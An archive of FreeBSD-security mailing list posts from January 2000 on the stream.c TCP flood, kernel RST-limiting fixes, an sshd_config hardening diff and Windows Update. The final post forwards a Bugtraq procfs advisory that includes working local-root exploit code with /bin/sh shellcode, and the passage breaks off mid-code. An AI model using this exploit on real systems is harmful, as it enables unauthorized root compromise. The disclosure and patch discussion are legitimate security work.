From owner-freebsd-security Sun Jan 23 4:45:33 2000 Delivered-To: freebsd-security@freebsd.org Received: from public.bta.net.cn (public.bta.net.cn [202.96.0.97]) by hub.freebsd.org (Postfix) with ESMTP id 441C614A04 for ; Sun, 23 Jan 2000 04:45:24 -0800 (PST) (envelope-from robinson@netrinsics.com) Received: from netrinsics.com (gj-06-112.bta.net.cn [202.106.6.112]) by public.bta.net.cn (8.9.3/8.9.3) with ESMTP id UAA14709 for ; Sun, 23 Jan 2000 20:42:30 +0800 (CST) Received: (from robinson@localhost) by netrinsics.com (8.9.3/8.9.3) id UAA02239 for freebsd-security@freebsd.org; Sun, 23 Jan 2000 20:42:44 +0800 (+0800) (envelope-from robinson) Date: Sun, 23 Jan 2000 20:42:44 +0800 (+0800) From: Michael Robinson Message-Id: <200001231242.UAA02239@netrinsics.com> To: freebsd-security@freebsd.org Subject: tcpdump Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Does anyone know what the deal is with this comment in tcpdump.c: * (BTW, please don't send us patches to print the packet out in ascii) I've just finished with my latest version of such patches. Does that make me some sort of E133t H4x0r or something? Would applying such patches into the tree cause some sort of global outbreak of evildoing? It certainly isn't any sort of performance issue, because my code, with ascii, is faster than the current code without. -Michael Robinson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 5:18:35 2000 Delivered-To: freebsd-security@freebsd.org Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11]) by hub.freebsd.org (Postfix) with ESMTP id B207C14A31 for ; Sun, 23 Jan 2000 05:18:31 -0800 (PST) (envelope-from avalon@cairo.anu.edu.au) Received: (from avalon@localhost) by cairo.anu.edu.au (8.9.3/8.9.3) id AAA28932; Mon, 24 Jan 2000 00:13:41 +1100 (EST) From: Darren Reed Message-Id: <200001231313.AAA28932@cairo.anu.edu.au> Subject: Re: tcpdump To: robinson@netrinsics.com (Michael Robinson) Date: Mon, 24 Jan 2000 00:13:41 +1100 (Australia/NSW) Cc: freebsd-security@FreeBSD.ORG In-Reply-To: <200001231242.UAA02239@netrinsics.com> from "Michael Robinson" at Jan 23, 2000 08:42:44 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In some mail from Michael Robinson, sie said: > > Does anyone know what the deal is with this comment in tcpdump.c: > > * (BTW, please don't send us patches to print the packet out in ascii) > > I've just finished with my latest version of such patches. Does that make > me some sort of E133t H4x0r or something? Would applying such patches into > the tree cause some sort of global outbreak of evildoing? It certainly > isn't any sort of performance issue, because my code, with ascii, is faster > than the current code without. tcpdump is now being maintained at www.tcpdump.org I would recommend checking what is in their version before jumping up and down any more as the above comment dates back to LBL. Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 7:28:35 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail.iad.above.net (mail.iad.above.net [207.126.105.158]) by hub.freebsd.org (Postfix) with ESMTP id 45E5B14C32 for ; Sun, 23 Jan 2000 07:28:32 -0800 (PST) (envelope-from ras@iad.above.net) Received: (from ras@localhost) by mail.iad.above.net (8.9.2/8.9.2) id KAA03139 for freebsd-security@freebsd.org; Sun, 23 Jan 2000 10:28:30 -0500 (EST) Date: Sun, 23 Jan 2000 10:28:30 -0500 From: Richard Steenbergen To: freebsd-security@freebsd.org Subject: stream.c Message-ID: <20000123102829.C18349@above.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Sigh... ok, just to help out those people running around like chickens with their heads cut off trying to fix or simulate the freaking stream.c garbage: "netstat 1" is your friend... and if its not putting out as many packets/sec as it should be, look to your network connection. Half duplex hubs will become quickly unhappy and backup transmition to the point of getting those lovely out of buffer space messages. I think this has disappointed quite a few packet kiddies already, since half the time the only thing they end up killing is the place they're attacking from. :P The correct "sorta-fix" is to rate limit the number of dropwithreset's per second, else kick them down to straight drop. I believe this has been done effectively in http://www.freebsd.org/~alfred/tcp_fix.diff (though I question what its aimed to be accomplished with that checksum work :P). And note the fact that since it was originally not intended to be an ACK flooder, the ack # field itself stays 0. Think about it. Also note that there are at least two versions floating around out there, one with the TH_ACK bit set (the original copy passed around to the packet kiddies) and one with no flags set (the copy the idiot that passed it out in the first place continued to pass out to new people after all the hoopla over the first release). yada yada hope this helps someone, I'm so sick of stream.c its not even funny. -- Richard A. Steenbergen http://users.quadrunner.com/humble PGP Key ID: 0x60AB0AD1 (E5 35 10 1D DE 7D 8C A7 09 1C 80 8B AF B9 77 BB) AboveNet Communications - AboveSecure Network Security Engineer, Vienna VA "A mind is like a parachute, it works best when open." -- Unknown To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 8: 8:36 2000 Delivered-To: freebsd-security@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id D736A14A17 for ; Sun, 23 Jan 2000 08:08:34 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.9.3/8.9.3) id IAA26617; Sun, 23 Jan 2000 08:32:34 -0800 (PST) Date: Sun, 23 Jan 2000 08:32:34 -0800 From: Alfred Perlstein To: Richard Steenbergen Cc: freebsd-security@FreeBSD.ORG Subject: Re: stream.c Message-ID: <20000123083234.N26520@fw.wintelcom.net> References: <20000123102829.C18349@above.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20000123102829.C18349@above.net>; from ras@above.net on Sun, Jan 23, 2000 at 10:28:30AM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org * Richard Steenbergen [000123 07:53] wrote: > > The correct "sorta-fix" is to rate limit the number of dropwithreset's per > second, else kick them down to straight drop. I believe this has been done > effectively in http://www.freebsd.org/~alfred/tcp_fix.diff (though I > question what its aimed to be accomplished with that checksum work :P). The idea is to reduce the amount of time spent doing checksums on invalid packets, why checksum if the destination port isn't open or no such connection is open? Unfortunatly even after moving the checksum quite far into tcp_input's path it still seems pretty easy to eat all CPU on a box, in fact I didn't notice any improvement at all. Maybe i'm missing something, those interested can have a try at: http://www.freebsd.org/~alfred/tcp_fix_untested.diff maybe someone can tell me what i'm screwing up. > yada yada hope this helps someone, I'm so sick of stream.c its not even > funny. :) -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 8:22:26 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail.iad.above.net (mail.iad.above.net [207.126.105.158]) by hub.freebsd.org (Postfix) with ESMTP id 3943A14E3B for ; Sun, 23 Jan 2000 08:22:23 -0800 (PST) (envelope-from ras@iad.above.net) Received: (from ras@localhost) by mail.iad.above.net (8.9.2/8.9.2) id LAA03945; Sun, 23 Jan 2000 11:22:20 -0500 (EST) Date: Sun, 23 Jan 2000 11:22:20 -0500 From: Richard Steenbergen To: Alfred Perlstein Cc: freebsd-security@FreeBSD.ORG Subject: Re: stream.c Message-ID: <20000123112220.E18349@above.net> References: <20000123102829.C18349@above.net> <20000123083234.N26520@fw.wintelcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <20000123083234.N26520@fw.wintelcom.net>; from Alfred Perlstein on Sun, Jan 23, 2000 at 08:32:34AM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, Jan 23, 2000 at 08:32:34AM -0800, Alfred Perlstein wrote: > * Richard Steenbergen [000123 07:53] wrote: > > > > The correct "sorta-fix" is to rate limit the number of dropwithreset's per > > second, else kick them down to straight drop. I believe this has been done > > effectively in http://www.freebsd.org/~alfred/tcp_fix.diff (though I > > question what its aimed to be accomplished with that checksum work :P). > > The idea is to reduce the amount of time spent doing checksums on invalid > packets, why checksum if the destination port isn't open or no such > connection is open? > > Unfortunatly even after moving the checksum quite far into tcp_input's > path it still seems pretty easy to eat all CPU on a box, in fact I > didn't notice any improvement at all. > > Maybe i'm missing something, those interested can have a try at: > http://www.freebsd.org/~alfred/tcp_fix_untested.diff > > maybe someone can tell me what i'm screwing up. The checksums are a pretty small amount of the CPU time burned. The RST generation is by far the worst, the PCB hash lookups are 2nd after that. And really you shouldn't be doing any work at all if the checksum is invalid. :P -- Richard A. Steenbergen http://users.quadrunner.com/humble PGP Key ID: 0x60AB0AD1 (E5 35 10 1D DE 7D 8C A7 09 1C 80 8B AF B9 77 BB) AboveNet Communications - AboveSecure Network Security Engineer, Vienna VA "A mind is like a parachute, it works best when open." -- Unknown To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 8:36:42 2000 Delivered-To: freebsd-security@freebsd.org Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (Postfix) with ESMTP id 20DED14E43; Sun, 23 Jan 2000 08:36:35 -0800 (PST) (envelope-from ust@cert.siemens.de) X-Envelope-Sender-Is: ust@cert.siemens.de (at relayer david.siemens.de) Received: from mail1.siemens.de (mail1.siemens.de [139.23.33.14]) by david.siemens.de (8.9.3/8.9.3) with ESMTP id RAA19052; Sun, 23 Jan 2000 17:36:30 +0100 (MET) Received: from mars.cert.siemens.de (ust.mchp.siemens.de [139.23.201.17]) by mail1.siemens.de (8.9.3/8.9.3) with ESMTP id RAA20881; Sun, 23 Jan 2000 17:36:30 +0100 (MET) Received: from alaska.cert.siemens.de (reims.mchp.siemens.de [139.23.202.134]) by mars.cert.siemens.de (8.9.3/8.9.3/Siemens CERT [ $Revision: 1.3 ]) with ESMTP id RAA21809; Sun, 23 Jan 2000 17:36:29 +0100 (CET) (envelope-from ust@alaska.cert.siemens.de) Received: (from ust@localhost) by alaska.cert.siemens.de (8.9.3/8.9.3/alaska [ $Revision: 1.3 ]) id QAA15143; Sun, 23 Jan 2000 16:36:29 GMT (envelope-from ust) Date: Sun, 23 Jan 2000 17:36:29 +0100 From: Udo Schweigert To: freebsd-stable@freebsd.org, freebsd-security@freebsd.org Subject: OpenSSH, login_getpath and /etc/login.conf Message-ID: <20000123173629.A858@alaska.cert.siemens.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i X-Operating-System: FreeBSD 3.4-STABLE Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi all, using OpenSSH I notcied that I get the following PATH when logging in via ssh: ~/bin:/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin This got at least one port (print/a2ps-a4 when installing) to fail due to this PATH-variable. I tried to examine this a little and noticed two facts: 1) With the default setting of "UseLogin no" in /usr/local/etc/sshd_config, sshd calls login_getpath() which does not expand the ~-chars. 2) With a setting of "UseLogin yes" this behavior disappears since login() calls setusercontext() which expands the ~-chars. The question to me is: is login_getpath() bugy or should OpenSSH use login() by default (I don't know a reason why not). If so, we should use the following replacement for patches/patch-ao in the port: --- sshd_config.orig Sun Jan 23 17:00:35 2000 +++ sshd_config Sun Jan 23 17:01:53 2000 @@ -3,12 +3,13 @@ Port 22 #ListenAddress 0.0.0.0 #ListenAddress :: -HostKey /etc/ssh_host_key +HostKey __PREFIX__/etc/ssh_host_key ServerKeyBits 768 -LoginGraceTime 600 +LoginGraceTime 60 KeyRegenerationInterval 3600 -PermitRootLogin yes -# +PermitRootLogin no +# Rate-limit sshd connections to 5 connections per 10 seconds +ConnectionsPerPeriod 5/10 # Don't read ~/.rhosts and ~/.shosts files IgnoreRhosts yes # Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication @@ -47,4 +48,4 @@ #KerberosTgtPassing yes #CheckMail yes -#UseLogin no +UseLogin yes Regards. ------------------------------------------------------------------------------- Udo Schweigert || Voice : +49 89 636 42170 Siemens AG, Siemens CERT || Fax : +49 89 636 41166 ZT IK 3 || email : Udo.Schweigert@mchp.siemens.de D-81730 Muenchen / Germany || : ust@cert.siemens.de PGP fingerprint || 2A 53 F6 A6 30 59 64 02 6B C4 E0 73 B2 C9 6C E7 ------------------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 11:40:14 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id D1D7214E7D for ; Sun, 23 Jan 2000 11:40:07 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id MAA15588; Sun, 23 Jan 2000 12:39:47 -0700 (MST) Message-Id: <4.2.2.20000123122732.01ace310@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Sun, 23 Jan 2000 12:39:46 -0700 To: Jason Young , Matthew Dillon , Dag-Erling Smorgrav From: Brett Glass Subject: RE: Some observations on stream.c and streamnt.c Cc: Keith Stevenson , freebsd-security@FreeBSD.ORG In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:33 PM 1/22/2000 , Jason Young wrote: > > In fact, > > using ipfw or ipfilter to impose policy (only the latter can be used > > in case of the stream.c exploit) is redundant, since ipfilter must > > retain tables of connections which duplicate information stored by > > the protocol stack already. > >Both ipfilter and the kernel correctly drop the packet. There's a difference, though. ipfilter doesn't send RSTs, which in turn cause congestion and additional system loading due to ICMP messages. The kernel normally does send RSTs. That's what this discussion is about: how to make the kernel enforce the policy rather than ipfilter, which eats memory and CPU because it maintains redundant tables. >The fact that >ipfilter is being successfully used to defend against it simply means that >it's more efficient at dropping these particular rogue packets. IPFilter seems like a nice piece of work, but it's still not efficient to use if if the kernel can do the right thing. >It's my >understanding from the list that the main reason the kernel is bogged down >by this attack is that it is computationally expensive to generate all the >return RSTs required by protocol. Partially, but not entirely true. ICMP imposes an additional burden. >Matt Dillon's rate-limiting patch is a form of hardening the TCP/IP stack >while maintaining all possible protocol compliance. I agree with this. In >the usual case you should stick to protocol, and in a failure or overload or >attack situation you should do your best. Unless you're concerned about scans. Which can be done as a very, very slow attack if you are scanning a wide range of addresses ("slow scanning"). >Personally, I don't understand why people are so antsy about being >portscanned or having their OS identified. Yes, it's more information for an >attacker. But if you have a security hole, you have a security hole. This is >exploitable if the intruder knows you're running XYZ unrelated service or >no. This argument is akin to the one which says, "Why are you concerned about privacy? If you have nothing to hide, you have nothing to worry about." >People seem to be regarding the fact that you can scan a machine for its >open ports to be a fault in its TCP/IP stack. In fact, it is doing what it's >supposed to do. If you don't like what it's doing, then that comes back to >imposing local policy. Exactly. And the kernel has always has options that let the administrator impose local policies, such as quotas, etc. This is another one. Let's give him an efficient choice. >Any client/server interaction that has pending activity after the reboot >will be in some varying stage of exponential backoff or have timed out >depending on when the activity took place and how long the server took to >"come back". 5000 connections will certainly not result in 5000 packets in >one second worth of RST-able client traffic. Many of the clients will not >have pending activity. Actually, I already stand corrected on this. It's not as devastating as I first painted it in the case of an FTP server. But a server that's streaming RealAudio, for example, is likely to take a much bigger hit. I maintain one for a radio station, and a packet monitor shows a whole lot of wild stuff going on. RealAudio and RealVideo even encapsulate themselves in HTTP to get through firewalls! It's ugly. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 12:37: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from alcanet.com.au (mail.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id 001A314C06 for ; Sun, 23 Jan 2000 12:36:58 -0800 (PST) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <115201>; Mon, 24 Jan 2000 07:37:32 +1100 Content-return: prohibited From: Peter Jeremy Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? In-reply-to: <4.2.2.20000121104707.016b3f00@localhost>; from brett@lariat.org on Sat, Jan 22, 2000 at 04:49:02AM +1100 To: Brett Glass Cc: freebsd-security@FreeBSD.ORG Message-Id: <00Jan24.073732est.115201@border.alcanet.com.au> MIME-version: 1.0 X-Mailer: Mutt 1.0i Content-type: text/plain; charset=us-ascii References: <4.2.2.20000121095431.01a23a90@localhost> <4.2.2.20000121104707.016b3f00@localhost> Date: Mon, 24 Jan 2000 07:37:32 +1100 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 2000-Jan-22 04:49:02 +1100, Brett Glass wrote: >Try tcp_restrict_rst in rc.conf. Not ideal but a good fast fix. Note that this relies on the following kernel option (which isn't in GENERIC): # TCP_RESTRICT_RST adds support for blocking the emission of TCP RST packets. # This is useful on systems which are exposed to SYN floods (e.g. IRC servers) # or any system which one does not want to be easily portscannable. # options TCP_RESTRICT_RST #restrict emission of TCP RST Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 13:49:30 2000 Delivered-To: freebsd-security@freebsd.org Received: from tetron02.tetronsoftware.com (ftp.tetronsoftware.com [208.236.46.106]) by hub.freebsd.org (Postfix) with ESMTP id BC279150AF for ; Sun, 23 Jan 2000 13:49:27 -0800 (PST) (envelope-from zeus@tetronsoftware.com) Received: from tetron02.tetronsoftware.com (tetron02.tetronsoftware.com [208.236.46.106]) by tetron02.tetronsoftware.com (8.9.3/8.9.3) with ESMTP id PAA15166; Sun, 23 Jan 2000 15:53:23 -0600 (CST) (envelope-from zeus@tetronsoftware.com) Date: Sun, 23 Jan 2000 15:53:23 -0600 (CST) From: Gene Harris To: "Dan Seafeldt, AZ.COM System Administrator" Cc: security@FreeBSD.ORG Subject: Re: Microsoft Windows Update In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The automatic update notification is a service runs in the background and polls the web site. There is no "invasion" of privacy. You can also schedule this software to execute with task manager or with the "at" command under NT. I am not sure what point you were trying to make, but some of your facts are not correct. You can look for the registry key HK_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run/CriticalUpdate and remove the key or disable it by making a minor name change in the path. The program is called wucrtupd.exe and can be run from the command line. The program polls the web site with a simple query, then starts the web browser and connects to the web site, if you answer "yes", instead of "remind me later". If you select yes, the program downloads an updated software catalog. You get to select from the diff list on the web page and update any software that you desire. I prefer to execute the program with the task manager at 2am, that way it checks once a day. *==============================================* *Gene Harris http://www.tetronsoftware.com* *FreeBSD Novice * *All ORBS.org SMTP connections are denied! * *==============================================* On Sat, 22 Jan 2000, Dan Seafeldt, AZ.COM System Administrator wrote: > > http://windowsupdate.microsoft.com > > This website has delivered automatically several fixes to the OS involving > Dos and even more importantly data break-in in the past few months. It is > distressing to continually get notified of new fixes involving invasion of > privacy or possible loss of confidential business data. These fixes > usually involve html or JAVA related involving IE but some OS fixes have > been posted as well. Although if FreeBSD implemented something similar to > this, it might be nice to consider when public notification of the nature > of the problem before, during or after a particular fix was automatically > disseminated would be appropriate. From what I can tell the automatic part > of Windows Update is an opt-in deal, it does not enable unless you answer > a question the first time you go to that website, if you answer yes, it > becomes a permanent thing running in the background. The Windows update > website does not seem to consider the timing of the posting of security > breach details or descriptions. > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 15:29:47 2000 Delivered-To: freebsd-security@freebsd.org Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11]) by hub.freebsd.org (Postfix) with ESMTP id BAF7314F9E for ; Sun, 23 Jan 2000 15:29:43 -0800 (PST) (envelope-from avalon@cairo.anu.edu.au) Received: (from avalon@localhost) by cairo.anu.edu.au (8.9.3/8.9.3) id KAA02494 for freebsd-security@FreeBSD.ORG; Mon, 24 Jan 2000 10:29:59 +1100 (EST) From: Darren Reed Message-Id: <200001232329.KAA02494@cairo.anu.edu.au> Subject: kernel panic's still due to mbuf problems. To: freebsd-security@FreeBSD.ORG Date: Mon, 24 Jan 2000 10:29:59 +1100 (Australia/NSW) X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Amongst all these `stream.c' emails, I noticed at least one which had a FreeBSD panic message saying there were no mbuf's free. I think it was for a 3.4 system. *That* is the bug which should be fixed. Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 16:13:33 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail.servercom.com (mail.servercom.com [198.76.116.6]) by hub.freebsd.org (Postfix) with ESMTP id 4991214D5D for ; Sun, 23 Jan 2000 16:13:26 -0800 (PST) (envelope-from yardley@uiuc.edu) Received: from liquid (wake-gw.wakeland.servercom.com [198.88.186.1]) by mail.servercom.com (Post.Office MTA v3.5.3 release 223 ID# 0-57662U1200L100S0V35) with ESMTP id com for ; Sun, 23 Jan 2000 18:11:10 -0600 Message-Id: <4.2.0.58.20000123181240.0144ef10@students.uiuc.edu> X-Sender: yardley@students.uiuc.edu X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Sun, 23 Jan 2000 18:13:51 -0600 To: freebsd-security@FreeBSD.ORG From: Tim Yardley Subject: Fwd: *BSD procfs vulnerability Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org i would hope this is getting looked into... >Approved-By: aleph1@SECURITYFOCUS.COM >Delivered-To: bugtraq@lists.securityfocus.com >Delivered-To: bugtraq@securityfocus.com >Date: Fri, 21 Jan 2000 22:10:06 +0200 >Reply-To: FEAR Advisories >Sender: Bugtraq List >From: FEAR Advisories >Subject: *BSD procfs vulnerability >X-To: bugtraq@securityfocus.com >To: BUGTRAQ@SECURITYFOCUS.COM > >/* note for the moderator - this is a resend. If you have received the >previous copy, pls disregard this message; otherwise, pls remove this >comment before sending it to the list */ > Fast Emergency AVET Response > SECURITY ADVISORY > January 2000 > FEAR ID: 1 > *BSD procfs vulnerability > >============================================================================== > >PROBLEM DESCRIPTION > > In January 1997 a fatal flaw in *BSD procfs code (leading to a local root >compromise) was discussed on various security forums. The exploit code >dealt with /proc/pid/mem interface. Since then *BSD kernels contained a >simple fix which was meant to close this hole. > Unfortunately, throughout these three years it was still possible to >abuse /proc/pid/mem in a symilar, though more complicated fashion, which >could lead to local root compromise. > >============================================================================== > >VULNERABLE PLATFORMS > > The bug is present in kernels used in current (and almost any older) >FreeBSD and OpenBSD distributions. In order to make this flaw exploitable, >procfs filesystem must be mounted. In default FreeBSD 3.3 installation, >procfs IS mounted; in default OpenBSD 2.6 installation, it is NOT. Note that >administrators often mount procfs filesystem for its benefits. > >============================================================================== > >TECHNICAL DETAILS > > The procfs exploit code from 1997 was straightforward. An unpriviledged >process A forks off a process B. A opens /proc/pid-of-B/mem. B execs a >setuid binary. Though now B has a different euid than A, A is still able to >control B's memory via /proc/pid-of-B/mem descriptor. Therefore A can change >B's flow of execution in an arbitrary way. > In order to stop this exploit, an additional check was added to the code >responsible for I/O on file descriptors referring to procfs pseudofiles. In >miscfs/procfs/procfs.h (from FreeBSD 3.0) we read: >/* > * Check to see whether access to target process is allowed > * Evaluates to 1 if access is allowed. > */ >#define CHECKIO(p1, p2) \ > ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \ > ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \ > ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \ > ((p2)->p_flag & P_SUGID) == 0) || \ > (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0)) > > As we see, process performing I/O (p1) must have the same uids as target >process (p2), unless... p1 has root priviledges. So, if we can trick a >setuid program X into writing to a file descriptor F referring to a procfs >object, the above check will not prevent X from writing. As some of readers >certainly already have guessed, F's number will be 2, stderr fileno... We >can pass to a setuid program an appropriately lseeked file descriptor no 2 >(pointing to some /proc/pid/mem), and this program will blindly write there >error messages. Such output is often partially controllable (e.g. contains >program's name), so we can write almost arbitrary data onto other setuid >program's memory. > This scenario looks similar to > ' close(fileno(stderr)); execl("setuid-program",...) ' >exploits, but in fact differs profoundly. It exploits the fact that the >properties of a fd pointing into procfs is not determined fully by "open" >syscall (all other fd are; skipping issues related to securelevels). These >properties can change because of priviledged code execution. As a result, >(priviledged) children of some process P can inherit a fd opened read-write, >though P can't directly gain such fd via open syscall. > The attached sample exploit (for Intel platform) code runs >/usr/bin/passwd, but almost any setuid program can be used. This code was >tested on FreeBSD 2.8, 3.0 and 3.3 as well as on OpenBSD 2.4, 2.5 and 2.6. >The code overwrites stack with addresses of a shellcode, which is placed in >an environment variable. The code is a bit crude, but there were some obscure >problems with building a working exploit. It requires two arguments: an >offset from the current stack >pointer and an offset from default shellcode position. >/procfs_exp -4000 -10000 >worked for all tested platforms. Having seen "#" prompt, one should probably >issue "stty sane" command to clean tty state. On OpenBSD, having gained root >prompt one should remove /etc/ptmp file. > >============================================================================== > >SOLUTION > > Linux also features proc filesystem with symilar functionality, but it is >not vulnerable to this exploit. That is so because on Linux if a process p1 >wishes to alter the memory of process p2 via /proc/pid-of-p2/mem, p2 must be >traced by p1 (moreover, mem_write function is currently defined as NULL, so >/proc/pid/mem can be altered only with use of mmap; irrelevant here). It may >be tempting to impose symilar restriction in *BSD kernels. However, on *BSD >a process p1 can attach p2 for tracing merely by writing to >/proc/pid-of-p2/ctl file; as we have just seen it is possible to force a >setuid program to write arbitrary strings to /proc files. > The solution (by deraadt) is to add a certain check in execve syscall. If >a process X tries to exec a setuid binary, we make sure it holds no open >descriptors pointing into procfs filesystem. > Patches are available on >http://www.openbsd.org/errata.html#procfs >ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:02/procfs.patch > As a workaround, it is enough to umount /proc and comment it out from >/etc/fstab. > >============================================================================== > >CREDITS > > The discovery of this vulnerability, as well as the sample exploit, was >done by Rafal Wojtczuk ; > deraadt for discarding our original idea of the fix because of its >inefficiency and finding a better one; > deraadt@openbsd.org and security-officer@freebsd.org for immediate >response and supplying patches for their systems. >Other FEAR security materials can be found at : >http://www.fear.pl > >============================================================================== > >EXPLOIT CODE >/* by Nergal */ >#include >#include >#include >#include >#include >#include >#include >#include >#include > >char shellcode[] = >"\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20" >"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" >"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" >"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" >"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00"; > >#define PASSWD "./passwd" >void >sg(int x) >{ >} >int >main(int argc, char **argv) >{ > unsigned int stack, shaddr; > int pid,schild; > int fd; > char buff[40]; > unsigned int status; > char *ptr; > char name[4096]; > char sc[4096]; > char signature[] = "signature"; > > signal(SIGUSR1, sg); >if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST) >{ >perror("creating symlink:"); >exit(1); >} > shaddr=(unsigned int)&shaddr; > stack=shaddr-2048; > if (argc>1) > shaddr+=atoi(argv[1]); > if (argc>2) > stack+=atoi(argv[2]); > fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack); > fprintf(stderr,"Wait for \"Press return\" prompt:\n"); > memset(sc, 0x90, sizeof(sc)); > strncpy(sc+sizeof(sc)-strlen(shellcode)-1, > shellcode,strlen(shellcode)); > strncpy(sc,"EGG=",4); >memset(name,'x',sizeof(name)); > for (ptr = name; ptr < name + sizeof(name); ptr += 4) > *(unsigned int *) ptr = shaddr; > name[sizeof(name) - 1] = 0; > > pid = fork(); > switch (pid) { > case -1: > perror("fork"); > exit(1); > case 0: > pid = getppid(); > sprintf(buff, "/proc/%d/mem", pid); > fd = open(buff, O_RDWR); > if (fd < 0) { > perror("open procmem"); > wait(NULL); > exit(1); > } > /* wait for child to execute suid program */ > kill(pid, SIGUSR1); > do { > lseek(fd, (unsigned int) signature, SEEK_SET); > } while > (read(fd, buff, sizeof(signature)) == > sizeof(signature) && > !strncmp(buff, signature, sizeof(signature))); > lseek(fd, stack, SEEK_SET); > switch (schild = fork()) { > case -1: > perror("fork2"); > exit(1); > case 0: > > dup2(fd, 2); > sleep(2); > execl(PASSWD, name, "blahblah", 0); > printf("execl failed\n"); > exit(1); > default: > waitpid(schild, &status, 0); > } > fprintf(stderr, "\nPress 